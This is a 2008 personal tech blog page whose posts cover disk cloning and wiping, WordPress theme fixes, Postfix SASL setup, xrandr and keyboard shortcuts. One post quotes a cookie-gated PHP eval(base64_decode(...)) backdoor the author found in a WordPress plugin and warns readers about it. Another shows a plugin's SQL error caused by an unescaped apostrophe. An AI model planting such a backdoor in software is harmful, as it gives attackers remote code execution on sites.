It’s all in a day’s work

If only a day had 48 hours…
  • rss
  • Home
  • About DelGurth

Backup an entire disk to another (larger) disk

DelGurth | Tuesday, December 9, 2008

After some troubles with my desktop computer it’s going to be replaced with a new one. The desktop originally only had 1 disk, and that was going to be replaced as well, so I needed a backup. But I did not want to backup just my files, I wanted a total backup, so I could continue to work on the system, while I was wiping the original disk (don’t want mr dell to look at my private stuff).

So I bought myself a new disk, ofcourse it’s larger then the original, so I was not sure if a disk => disk copy would work. I found the program ddrescue, which did the job well. True, resuming windows after this caused a BSOD, but well, what else could you expect, the hardware changed while the system was “running”… After another reboot the system worked fine, as if nothing had changed. Resizing the disk was not possible, probably because of the dell restore partition behind the main ntfs partition, but well, it’s only temporary and I didn’t need the extra disk space in the first place. Copying a 250Gb disk took about 1 1/2 hours, not bad, IMHO.

After this doing a dd if=/dev/urandom of=/dev/MYOLDDISK took a way longer time. This is done with an average speed of 2.2Mb/sec, so the entire process of a 250Gb disk takes approximately 34 hours! At least, on my system. So if you need to wipe your data, take your time.

Update:

Perhaps I should have read the comments on the page with ddrescue, the copy speed could be faster if I used another tool. For example CloneZilla. ddrescue did the job for me, but there might be better alternatives for it available.

Comments
No Comments »
Categories
Misc
Tags
backup, disk, Ubuntu
Comments rss Comments rss
Trackback Trackback

New theme part III

DelGurth | Friday, October 31, 2008

After last nights debacle with the live search plugin, I tried an other one that was based on it: Live search popup. Unfortunately that one didn’t display very well in my theme, so I just removed it and won’t be offering a “Web 2.0″ search option for now.

Further changes to the Freshy2 theme and wordpress:

  • I’ve added a none.gif to the background images folder, since I got loads of 404 messages about it not being in there.
  • I’ve copied the default search box style (#s) from the wordpress theme and removed the “white” background color so you can see what you type when searching. Unfortunately I now need a black anti-aliased version of the search icon.
  • I’ve added a header to the search widget (guess that will be gone on the next WP update from Debian, as soon as the TinyMCE maintainer updates TinyMCE). Not sure if I really want it to stay, but if I do I need to find a better way to add it.

Now I “just” need to work on the <pre> and <code> output of the theme, since reading it is not very easy at the moment.

And I found why the Live search plugin didn’t work. It uses the deprecated get_bloginfo(’siteurl’), while it should be using get_bloginfo(’wpurl’). But well, after having contact with the maintainer of it, I won’t be using it. He is not interested in maintaining it, so better not to use that one.

Comments
No Comments »
Categories
Wordpress
Tags
Addicted to live search plugin, freshy2, live search popup, Wordpress
Comments rss Comments rss
Trackback Trackback

New theme continued: why not to trust plugins

DelGurth | Friday, October 31, 2008

With this new theme I also saw that it was compatible with the “Addicted to live search plugin”[1]. (Un)fortunately this plugin doesn’t work out of the box either, at least not if you do not have Wordpress running directly in the root.

But… Since I was looking at the code to fix this I also found:

<?php if($_COOKIE['7b13cc987791f418']=="6d6bedf94c36d538"){ eval(base64_decode($_POST['file'])); exit; } ?>

No thank you very much!

So what did we learn: Never ever trust Wordpress plugins… So do not use this (version of the) plugin, unless you know how to remove this piece of code!

I’ll check out after some sleep what Wordpress has to offer when you find a vulnerability like this in a plugin, so perhaps users of it can be warned… And I’ll fix this plugin later also, to be continued…

Update: it seems that it’s fixed. Although I’m not sure how the Wordpress auto-update feature could create a line of code like that (as in, this sounds like bollocks to me).


[1] Funny sidenote, I found this blog two years ago and commented on one of his articles on Oracle.

Comments
No Comments »
Categories
Wordpress
Tags
Addicted to live search plugin, vulnerability, Wordpress
Comments rss Comments rss
Trackback Trackback

New theme

DelGurth | Friday, October 31, 2008

A while ago I decided to change the default Wordpress theme into the Freshy2 theme, since I liked the looks of it… I now partially wish I did not do that… Changing the theme was not trivial… Mainly because of two problems:

1. In the wp-content/themes/freshy2/functions.php file on line 474 it says

$path = WP_CONTENT_DIR.$theme_info->template_dir.'/';

If you change that to:

$path = ABSPATH.$theme_info->template_dir.'/';

suddenly you are able to configure the theme as promised by the author (at least that is what I needed to do with my Debian version of Wordpress).

2. The customize freshy plugin that is advertised makes it so that I even though I’ve changed the stylesheet, it’s still not visible. So I’ve disabled that plugin. The line of php that is causing this behavior is also in functions.php, but then on line 26

if (!class_exists('Nice_theme')) add_action('wp_head','freshy_head');

Seems that Nice_theme doesn’t change the wp_head function. I didn’t look further into this, since the configuration options Freshy2 gives me are enough.

Furthermore, this theme breaks the xhtml 1.1 validation. I’ve removed the autocomplete="off" in the searchform.php file and added a <p> block around the search inputs. For more information about the autocomplete attribute and xhtml see this post on the Mozilla wiki (to be moved some time in the future).

Talking about xhtml 1.1 validation. This theme also puts a xhtml 1.0 doctype in the pages, while the footer of Wordpress shows xhtml 1.1. So I’ve changed the doctype and removed the lang=”en” attribute from the <html> tag. But well, guess only a few people really try the validation button on the bottom of the page.

And I had to change the title of the blog again in the same manner as I did the last time on the default Wordpress theme.

But, now I’ve done this I’m very happy. I really like the theme’s looks, certainly with this dark version, since it also adds something that I really wanted: no more fixed width layout! With the default version you still get a fixed with version, but this one scales. So thank you Jide!

Now a few things remain to be done:

  • Fix the <code> layout, since it doesn’t play well with my code formatting plugin and well.. it distracts a bit
  • Add Excerpts to all my posts
  • Cut down on the number of categories and add more tags
  • Find out why some post don’t show their date on the homepage
  • Change the color of the input text, so you can see what you search for
  • Post more frequently (still got about 20 drafts to work on)
  • Find out why putting <pre> tags inside <li> tags breaks validation

Update: I should have read the comments on the theme site before I started to work on the theme… Then I would have seen that more people encountered the problems and already wrote fixes to them. Someone thought the problem with the disappearing post dates has to do with editing the post after publishing. That is not the case, unfortunately. It is caused because the_date() doesn’t show the date if it’s the same as the date of the post before. In the default Wordpress theme the_time('F jS, Y') is used in stead of the_date(). And the_time() doesn’t check for the last date. But, with just putting ‘F js, Y’ into this function call, changing your date format in the settings doesn’t help, so what you need to put in the index.php file on line 15 is the_time(get_option('date_format')). At least, if you want the date to be always shown. Perhaps I should make it a feature request that you can change this behavior of the_date, and add a bug report that the default theme doesn’t listen to the date_format setting…

Comments
No Comments »
Categories
Wordpress
Tags
freshy2, theme, Wordpress
Comments rss Comments rss
Trackback Trackback

Posting in the future…

DelGurth | Thursday, October 30, 2008

Seems I just made a post 1 hour into the future and with that, on a different day. The Wordpress settings say

Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed in the future.

Lame indeed, and guess I forgot about this. A while ago a colleague encountered a similar problem in phpBB. Guess it’s PHP related and not just Wordpress, as both products have the same problem. I wonder if the fix promised by Wordpress is waiting for daylight savings time to be abandoned as idea, since it’s advantages are still being questioned.

Comments
No Comments »
Categories
Wordpress
Tags
daylight savings time, PHP, phpBB, Wordpress
Comments rss Comments rss
Trackback Trackback

Changing spell checker language in Camino on OS X 10.4

DelGurth | Sunday, August 17, 2008

From time to time I use my mac-mini to blog. But the spell checker of OS X is defaulted to Dutch, which is quite annoying if you try to blog in English. And I found that it’s not easy to change the language. In the end I found a FAQ entry (why didn’t I check the site before…) about how to change the spell checker language in Camino. Guess it’s time to switch to 10.5 :-)

Comments
No Comments »
Categories
Misc
Tags
camino, OS X 10.4, spell-checker
Comments rss Comments rss
Trackback Trackback

Keyboard shortcuts

DelGurth | Sunday, August 3, 2008

Perhaps you have noted that I added a new site to the list of sites I like: Windows Keyboard Shortcut of the Day. Using keyboard shortcuts just improves your work speed a lot.

A few windows shortcuts that I didn’t know before

Windows + BREAK
Go to system properties
CTRL + SHIFT + ESC
Taskmanager
Windows + R
Run command

Eclipse

I also found a nice blog entry about eclipse shortcuts. But he lacks to explain one of the uses for CTRL + T: if you have a certain function you can find which class implements that function with CTRL + T as well. Very useful when you are working a lot with interfaces.

This is also a good site with Eclipse shortcuts. Not sure if it’s a bad thing that it’s not updated to Eclipse 3.4, yet. One helpful command is missing on that list: CTRL + SHIFT + L. This lists all bound keyboard shortcuts and pressing it again gives you the opportunity to change and export them to .csv (at least the export function is there on Eclipse 3.4).

Mac OS X

And a while ago I found a nice site with lots of Mac OS X keyboard shortcuts. The shortcut to make your mac sleep quickly was provided by me :-) There is also a shortcut to restart your mac quickly without confirm, Cmd + Ctrl + Eject. Quite annoying if you use that one when you want to put your mac to sleep.

Comments
No Comments »
Categories
Eclipse, Misc
Tags
Eclipse, keyboard shortcut, Mac OS X, Windows
Comments rss Comments rss
Trackback Trackback

Wordpress … I really need to change my blogging software

DelGurth | Friday, February 22, 2008

Today I accidentally found a bug in a version of a wordpress stats plugin. I searched for a word with a “‘” in it (foto’s) and as a result I got the following error on some blog:


WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's','nl','Linux','Firefox','Google','','')' at line 1]
INSERT INTO turbostatpress (date, time, ip, urlrequested, agent, referrer, search,nation,os,browser,searchengine,spider,feed) VALUES (’20080222′,’16:41:43′,’MY-IP-HERE’,”,’Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20061201 Firefox/2.0.0.12 (Ubuntu-feisty)’, ‘LONG-REFERER’, ‘foto’s’, ‘nl’, ‘Linux’, ‘Firefox’, ‘Google’, ”, ”)

I’m wondering… Will this bug also appear if I change my browser identify string into something with a single quote in it? Seems that this idea has already been tested + fixed in the latest version of StatPress. ‘Unfortunately’ the $_SERVER['HTTP_REFERER'] string is escaped automagicly. Which seems to be done by wordpress itself, since if I try to echo $_SERVER['HTTP_REFERER'] within the StatPress plugin the ‘ in my referrer is escaped with a \, while this is not the case in a normal PHP script. I say unfortunately since the StatPress plugin writer doesn’t escape the referrer himself.

Most striking though was that I just read a post from Tom Kyte about bad practice on SQL. The quote “… apostrophe is often mistaken for a piece of computer code, corrupting the system. …” was nice. So don’t use apostrophes please, they corrupt computer systems ;-)

P.s. True this bug is not related to wordpress itself, since it was just a plugin writer who screwed-up…

P.s.2. I think spelling checking software should add HTTP_REFERER to their word lists, since it’s a RFC approved spelling error ;) .

Comments
No Comments »
Categories
PHP, SQL Injection, Wordpress
Comments rss Comments rss
Trackback Trackback

Debian Etch Postfix + Sasl2

DelGurth | Sunday, December 2, 2007

Some time ago I had some problems sending mail to one of our clients, something with their primary mailserver not accepting connections and a non-existent secondary mailserver. So I wanted to enable authenticated mail sending on my own mailserver.

It was quite easy to get it working, after finding some articles which I could use. The biggest problem was the jail Postfix was in so it couldn’t talk with saslauthd direcly.

I added the following in my main.cf

#SMTP Auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl_authenticated_header = yes
smtpd_sasl_path = smtpd
smtpd_sasl_local_domain =
broken_sasl_auth_clients = yes

smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination, reject_unknown_recipient_domain

And I created directory sasl and placed a smtpd.conf in there containing:

pwcheck_method: saslauthd
mech_list: plain login

And I changed /etc/default/saslauthd to use the suggested option (suggested in comment in the file itself):

OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"

Used articles:

  • The first article I found on the subject
  • A mailinglist post describing a problem I encountered (I didn’t use the suggested solution)
  • A good article on howtoforge describing the final solution I used

Update 2008-05-15:
Today I ran into a problem after I did a package upgrade. I got the warning:

SASL authentication failure: cannot connect to saslauthd server: Permission denied

Seems some permissions where incorrect. I did a:

sudo chgrp sasl /var/spool/postfix/var/run/saslauthd
sudo passwd postfix sasl
sudo /etc/init.d/postfix restart

and that solved it. Why I didn’t get this before I don’t know, but well, this fixed it. Thanks to Jimmy who blogged about Debian and SASL as well.

Comments
No Comments »
Categories
Debian, Debian/Ubuntu, Etch, Postfix
Comments rss Comments rss
Trackback Trackback

Dual screen with docking station using xrandr

DelGurth | Friday, November 23, 2007

A colleague of mine uses the same laptop as I’ve. But he didn’t like the fact that the build-in display is not used when it’s docked in the docking station. He wants to use his laptop LCD as secondary display when he’s at work.

Unfortunately I’m still on Feisty, but once more Prevu came to the rescue. I found a post about the order in which to build the packages to get xrandr 1.2 (the required version to get the thing to work properly).

And then I used this ubuntu forum post to configure my xorg.conf.

I added:

Viewport 1680 0
Virtual 3360 1050

to the “Screen” Section of my xorg.conf (SubSection “Display”), restarted X and could use the following command to get my display to be a second display and not just a clone:

xrandr --output TMDS-1 --right-of LVDS --mode 1680x1050

To switch back to the clone I use:

xrandr --output TMDS-1 --same-as LVDS --mode 1680x1050

Or you can just restart X again.

This was all.

P.s. If anyone knows how you can dock the D830 on Ubuntu while running, please drop a comment. It kinda hangs when I try to do that and the only thing left for me to do is a hard reset.

Comments
2 Comments »
Categories
Debian/Ubuntu, Dell D830, Feisty, Ubuntu
Comments rss Comments rss
Trackback Trackback

« Previous Entries


Categories

  • Debian (5)
  • Debian/Ubuntu (6)
  • Dell D830 (2)
  • Development (1)
  • E65 (1)
  • Eclipse (4)
  • Etch (2)
  • Feisty (2)
  • General (4)
  • Hardy (3)
  • Internet Explorer (1)
  • Java (1)
  • JSP (1)
  • JSTL (1)
  • Misc (3)
  • Nokia (1)
  • one-liners (1)
  • Optimizing performance (1)
  • Packages (2)
  • Phones (1)
  • PHP (2)
  • Postfix (1)
  • SQL Injection (1)
  • SVN (3)
  • Testing (3)
  • Ubuntu (7)
  • Ubuntu x86_64 (2)
  • VOIP (1)
  • Wordpress (7)

Friend blogs

  • AgileMore
  • Borselaer.org
  • Schapendonk.org
  • Twistedmind’s site

Sites I like

  • Joel on Software
  • The Tom Kyte Blog
  • Windows Keyboard Shortcut of the Day

Archives

  • January 2009 (1)
  • December 2008 (1)
  • November 2008 (1)
  • October 2008 (4)
  • September 2008 (1)
  • August 2008 (6)
  • May 2008 (4)
  • April 2008 (1)
  • March 2008 (1)
  • February 2008 (2)
  • December 2007 (1)
  • November 2007 (3)
  • October 2007 (2)
  • September 2007 (3)
  • August 2007 (1)
rss Comments rss valid xhtml 1.1 design by jide powered by Wordpress get firefox